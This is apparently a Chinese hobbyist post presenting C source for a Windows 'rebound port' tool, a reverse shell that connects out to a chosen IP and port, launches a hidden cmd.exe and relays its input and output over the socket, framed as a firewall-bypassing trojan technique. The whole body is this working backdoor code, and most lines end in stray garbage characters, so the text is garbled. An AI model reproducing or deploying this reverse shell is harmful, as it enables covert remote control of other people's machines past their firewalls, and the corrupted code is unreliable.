这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {9.~]dI|L
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/* ============================== Ed&,[rC
Rebound port in Windows NT Na 9l#
By wind,2006/7 $
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===============================*/ Hv gK_'
#include zHoO?tGf
#include {iIg 4PzrU
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#pragma comment(lib,"wsock32.lib") h[je _^5
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void OutputShell(); yp2 'KES>
SOCKET sClient; TQ\wHJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fFZ`rPb
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void main(int argc,char **argv) -=[o{r`
{ BRU9LS
WSADATA stWsaData; .`Old{<
int nRet; qe6C|W~n
SOCKADDR_IN stSaiClient,stSaiServer; _
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if(argc != 3) _/%]:
{ FQ|LA[~
printf("Useage:\n\rRebound DestIP DestPort\n"); :Bv&)RK
return; ;TV'PJ
} %<J(lC9,C
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WSAStartup(MAKEWORD(2,2),&stWsaData); :^-HVT)qF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FM"GK '
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stSaiClient.sin_family = AF_INET; Fe&n,
stSaiClient.sin_port = htons(0); 9u7n/o&8v6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8A8xY446)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x#F1@r8R
{ $-fj rQ
printf("Bind Socket Failed!\n"); }OP%p/eY
return; k$0|^GL8
} i_9Cc$Qh<
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stSaiServer.sin_family = AF_INET; CdzkMVH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); + 1+A3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =2g[tsY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ic{'H2~4,
{ B=q)}aWc
printf("Connect Error!"); Jp.3KA>
return; >xU72l#5
} 6Y>,e;R
OutputShell(); VO @
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} 3<jAp#bE
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void OutputShell() fUp|3bBE
{ }/7.+yD
char szBuff[1024]; mHI4wS>()+
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; @\6nXf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %7C%`)T]
STARTUPINFO stStartupInfo; nv_m!JG7
char *szShell; s`Be#v
PROCESS_INFORMATION stProcessInformation; vh. Wm?qQ
unsigned long lBytesRead; J/]o WC`u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y,y/PyN)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `uNvFlP
stSecurityAttributes.lpSecurityDescriptor = 0; L.IoGUxD
stSecurityAttributes.bInheritHandle = TRUE; I!F}`d
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f 74%YY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tyn?o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cwM#X;FGq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !!-}ttFA
stStartupInfo.wShowWindow = SW_HIDE; h7de9Rt
stStartupInfo.hStdInput = hReadPipe; nCffBc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aeuf, #
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GetVersionEx(&stOsversionInfo); kO..~@aY
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switch(stOsversionInfo.dwPlatformId) I8<Il^
{ Giy3eva2
case 1: y"|K
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szShell = "command.com"; (E"&UC[
break; uKR\Xo}
default: so?pA@O
szShell = "cmd.exe"; gJ FR1
break; B&4fYpn
} e?^\r)1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ueWR/
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send(sClient,szMsg,77,0); *2 qh3
while(1) _S9rF-9G]
{ 629~Uc6]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9atjK4+o
if(lBytesRead)
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{ jy\W_CT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p|FlWR'mA
send(sClient,szBuff,lBytesRead,0); mHK@(D7X
} #/n|@z'
else cS"f
{ G8^0^@o
lBytesRead=recv(sClient,szBuff,1024,0); ":UWowJO
if(lBytesRead<=0) break; 2X qTyf<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pY{; Yn&t
} 'L>&ZgLy
} rQu
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return; )CC?vV
}